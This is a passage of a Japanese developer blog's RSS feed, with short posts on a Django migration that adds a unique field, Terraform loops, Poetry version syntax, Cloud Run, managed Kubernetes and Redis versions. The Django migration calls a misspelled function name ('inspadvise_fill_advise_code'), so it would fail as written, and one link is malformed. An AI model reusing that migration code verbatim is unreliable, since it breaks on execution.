&lt;li&gt;&lt;a href="https://repost.aws/ja/knowledge-center/rds-latency-ebs-iops-bottleneck"&gt;Amazon RDS インスタンスの IOPS のボトルネックによって引き起こされた Amazon EBS ボリュームのレイテンシーをトラブルシューティングするにはどうすればよいですか?&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Django Migration: Uniqu Field</title><link>https://hdknr.github.io/blogs/posts/2023/07/django-migration-uniqu-field/</link><pubDate>Mon, 24 Jul 2023 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2023/07/django-migration-uniqu-field/</guid><description>&lt;h1 id="django--マイグレーション-unique-フィールドの追加"&gt;Django : マイグレーション: Unique フィールドの追加&lt;/h1&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 7
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 8
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 9
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;10
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;11
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;12
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;13
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;14
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;15
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;16
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;17
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;18
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;19
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;20
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;21
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;22
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;23
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;24
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;25
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;26
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;27
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;28
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;29
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;30
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;31
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;32
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;33
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;34
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;35
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;36
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;37
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;38
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;39
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-py" data-lang="py"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Generated by Django 3.2.20 on 2023-07-24 06:36&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;from&lt;/span&gt; django.db &lt;span style="color:#f92672"&gt;import&lt;/span&gt; migrations, models
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;def&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;advise_fill_advise_code&lt;/span&gt;(apps, schema_editor):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;&amp;#34;&amp;#34; instance.id =&amp;gt; instance.advise_code と初期値にする&amp;#34;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; Model &lt;span style="color:#f92672"&gt;=&lt;/span&gt; apps&lt;span style="color:#f92672"&gt;.&lt;/span&gt;get_model(&lt;span style="color:#e6db74"&gt;&amp;#34;studies&amp;#34;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#34;Advise&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; instance &lt;span style="color:#f92672"&gt;in&lt;/span&gt; Model&lt;span style="color:#f92672"&gt;.&lt;/span&gt;objects&lt;span style="color:#f92672"&gt;.&lt;/span&gt;all():
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; instance&lt;span style="color:#f92672"&gt;.&lt;/span&gt;advise_code &lt;span style="color:#f92672"&gt;=&lt;/span&gt; str(instance&lt;span style="color:#f92672"&gt;.&lt;/span&gt;id)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; instance&lt;span style="color:#f92672"&gt;.&lt;/span&gt;save()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Migration&lt;/span&gt;(migrations&lt;span style="color:#f92672"&gt;.&lt;/span&gt;Migration):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; dependencies &lt;span style="color:#f92672"&gt;=&lt;/span&gt; [
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; (&lt;span style="color:#e6db74"&gt;&amp;#34;studies&amp;#34;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#34;0015_auto_20211108_1814&amp;#34;&lt;/span&gt;),
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; operations &lt;span style="color:#f92672"&gt;=&lt;/span&gt; [
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; migrations&lt;span style="color:#f92672"&gt;.&lt;/span&gt;AddField(
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; model_name&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;advise&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; name&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;advise_code&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; field&lt;span style="color:#f92672"&gt;=&lt;/span&gt;models&lt;span style="color:#f92672"&gt;.&lt;/span&gt;CharField(
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# オリジナル:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# help_text=&amp;#34;(id)&amp;#34;, max_length=6, unique=True, verbose_name=&amp;#34;Advise Code&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# 修正: null=True default=None とする&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; help_text&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;(id)&amp;#34;&lt;/span&gt;, max_length&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;6&lt;/span&gt;, null&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;True&lt;/span&gt;, default&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;None&lt;/span&gt;, unique&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;True&lt;/span&gt;, verbose_name&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;Advise Code&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ),
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; preserve_default&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;False&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ),
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# 追加: advise_code (ユニーク) を設定する&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; migrations&lt;span style="color:#f92672"&gt;.&lt;/span&gt;RunPython(inspadvise_fill_advise_code, reverse_code&lt;span style="color:#f92672"&gt;=&lt;/span&gt;migrations&lt;span style="color:#f92672"&gt;.&lt;/span&gt;RunPython&lt;span style="color:#f92672"&gt;.&lt;/span&gt;noop),
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# 追加: null=True default=None を抜く&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; migrations&lt;span style="color:#f92672"&gt;.&lt;/span&gt;AlterField(
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; model_name&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;advise&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; name&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;advise_code&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; field&lt;span style="color:#f92672"&gt;=&lt;/span&gt;models&lt;span style="color:#f92672"&gt;.&lt;/span&gt;CharField(help_text&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;(id)&amp;#34;&lt;/span&gt;, max_length&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;6&lt;/span&gt;, unique&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;True&lt;/span&gt;, verbose_name&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;Advise Code&amp;#34;&lt;/span&gt;),
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; preserve_default&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;False&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ),
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ]
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;</description></item><item><title>terraform loop</title><link>https://hdknr.github.io/blogs/posts/2023/07/terraform-loop/</link><pubDate>Wed, 19 Jul 2023 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2023/07/terraform-loop/</guid><description>&lt;h1 id="terraform-ループ"&gt;Terraform ループ&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://zenn.dev/wim/articles/terraform_loop"&gt;Terraform での loop 処理の書き方（for, for_each, count）&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://developer.hashicorp.com/terraform/language/functions/flatten"&gt;flatten Function&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>poetry version requirements</title><link>https://hdknr.github.io/blogs/posts/2023/07/poetry-version-requirements/</link><pubDate>Mon, 17 Jul 2023 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2023/07/poetry-version-requirements/</guid><description>&lt;h1 id="poetry--パッケージ依存定義-dependency-specification"&gt;Poetry : パッケージ依存定義 (Dependency specification)&lt;/h1&gt;
&lt;h2 id="バージョン要件requirements"&gt;バージョン要件(requirements)&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;要件&lt;/th&gt;
&lt;th&gt;例&lt;/th&gt;
&lt;th&gt;意味&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="https://python-poetry.org/docs/dependency-specification/#caret-requirements"&gt;Caret requirements&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;^1.2.3&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;&amp;gt;=1.2.3 &amp;lt;2.0.0&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="https://python-poetry.org/docs/dependency-specification/#tilde-requirements"&gt;Tilde requirements&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;~1.2.3&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;&amp;gt;=1.2.3 &amp;lt;1.3.0&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="https://python-poetry.org/docs/dependency-specification/#wildcard-requirements"&gt;Wildcard requirements&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;1.*&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;&amp;gt;=1.0.0 &amp;lt;2.0.0&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="https://python-poetry.org/docs/dependency-specification/#inequality-requirements"&gt;Inequality requirements&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;&amp;lt; 2&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;&amp;lt; 2.0.0&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="https://python-poetry.org/docs/dependency-specification/#exact-requirements"&gt;Exact requirements&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;==1.2.3&lt;/code&gt; もしくは &lt;code&gt;1.2.3&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;==1.2.3&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="https://python-poetry.org/docs/dependency-specification/#using-the--operator"&gt;@ operator&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id="依存dependancies"&gt;依存(dependancies)&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;依存&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="https://python-poetry.org/docs/dependency-specification/#git-dependencies"&gt;git dependencies&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="https://python-poetry.org/docs/dependency-specification/#path-dependencies"&gt;path dependencies&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="https://python-poetry.org/docs/dependency-specification/#url-dependencies"&gt;url dependencies&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="https://python-poetry.org/docs/dependency-specification/#dependency-extras"&gt;extras&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="https://python-poetry.org/docs/dependency-specification/#source-dependencies"&gt;source dependencies&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="https://python-poetry.org/docs/dependency-specification/#python-restricted-dependencies"&gt;python&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="https://python-poetry.org/docs/dependency-specification/#multiple-constraints-dependencies"&gt;Multiple constraints dependencies&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="https://python-poetry.org/docs/dependency-specification/#expanded-dependency-specification-syntax"&gt;拡張&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;</description></item><item><title>Google Cloud Run</title><link>https://hdknr.github.io/blogs/posts/2023/07/google-cloud-run/</link><pubDate>Sun, 16 Jul 2023 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2023/07/google-cloud-run/</guid><description>&lt;h1 id="google-cloud-run"&gt;Google Cloud Run&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="ps://cloud.google.com/run/docs/migrate/from-kubernetes?hl=ja"&gt;Kubernetes から Cloud Run に移行する&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://dev.classmethod.jp/articles/gc-cloud-run/"&gt;Google Cloud なんもわからないマンが、Cloud Run の凄さをあれこれ調べてみた&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="aws-app-runner"&gt;AWS App Runner&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://aws.amazon.com/jp/apprunner/"&gt;https://aws.amazon.com/jp/apprunner/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Managed k8s</title><link>https://hdknr.github.io/blogs/posts/2023/07/managed-k8s/</link><pubDate>Sun, 16 Jul 2023 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2023/07/managed-k8s/</guid><description>&lt;h1 id="managed-k8s"&gt;Managed k8s&lt;/h1&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Provider&lt;/th&gt;
&lt;th&gt;Service Product&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;AWS&lt;/td&gt;
&lt;td&gt;EKS(Elastic Kubernetes Service)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;GCP&lt;/td&gt;
&lt;td&gt;GKE(Google Kubernetes Engine)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Azure&lt;/td&gt;
&lt;td&gt;AKS(Azure Kubernetes Service)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://cloud-ace.jp/column/detail400/"&gt;マネージド Kubernetes とは？EKS・AKS・GKE を比較&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="aws-eks-vs-ecs"&gt;AWS EKS vs. ECS&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.stylez.co.jp/columns/aws_own_idea_of_the_role_of_ecs_and_eks/"&gt;AWS 自身が考える ECS と EKS の役割&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;EKS:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;EKS : 他のプロバイダー/オンプレミスからの移行&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;ECS:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Kubernetes に比べてはるかに運用がしやすく、低コストで、マルチテナントのプラットフォームとしての効率が非常に高い&lt;/li&gt;
&lt;li&gt;クラスターの起動を無料で行うことができます&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>redis</title><link>https://hdknr.github.io/blogs/posts/2023/07/redis/</link><pubDate>Fri, 14 Jul 2023 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2023/07/redis/</guid><description>&lt;h1 id="elasic-cache-for-redis"&gt;Elasic Cache for Redis&lt;/h1&gt;
&lt;h2 id="バージョン"&gt;バージョン&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;5
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ redis-cli --version
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;redis-cli 5.0.7
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ redis-server -v
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Redis server v&lt;span style="color:#f92672"&gt;=&lt;/span&gt;5.0.7 sha&lt;span style="color:#f92672"&gt;=&lt;/span&gt;00000000:0 malloc&lt;span style="color:#f92672"&gt;=&lt;/span&gt;jemalloc-5.2.1 bits&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;64&lt;/span&gt; build&lt;span style="color:#f92672"&gt;=&lt;/span&gt;66bd629f924ac924
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;接続:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
